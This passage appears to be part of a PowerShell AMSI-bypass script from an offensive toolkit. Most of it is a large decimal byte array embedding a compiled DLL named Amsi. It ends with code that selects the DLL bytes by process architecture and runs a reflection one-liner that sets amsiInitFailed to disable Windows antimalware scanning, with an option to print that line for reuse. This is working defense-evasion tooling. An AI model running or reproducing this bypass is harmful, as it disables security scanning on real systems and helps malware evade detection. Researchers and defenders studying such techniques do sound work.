72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16 72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72 35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72 139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0 72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72 141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255 72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172 36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116 4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3 0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139 203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4 0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0 72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4 0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0 72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96 199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80 72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72 141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139 156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16 85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15 162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129 241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68 11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129 242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69 240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82 72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1 0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27 72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132 210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0 0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137 93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237 24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65 15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208 72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0 0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0 137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5 92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0 0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0 0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0 0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77 64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248 255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139 234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69 112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72 139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128 1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65 0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0 184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25 190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120 116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82 30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0 0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32 37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0 0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52 6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0 15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0 0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6 0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133 30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4 1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2 80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13 52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52 6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0 0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0 0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102 105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101 109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95 105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120 105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4 82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76 111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116 108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255 255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0 0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0 68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0 72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0 89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0 184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0 16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0 184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208 23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24 38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25 0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0 0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0 80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0 136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + + if (([IntPtr]::Size) -eq 8) + { + Write-Verbose "64 bit process detected." + $DllBytes = $AmsiX64 + } + elseif (([IntPtr]::Size) -eq 4) + { + Write-Verbose "32 bit process detected." + $DllBytes = $AmsiX86 + } + + switch($method) + { + + "unload" + { + Write-Verbose "Using Matt Graeber's Reflection method." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true)' + } + else + { + Write-Output "Executing the bypass." + [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) + } + } + + 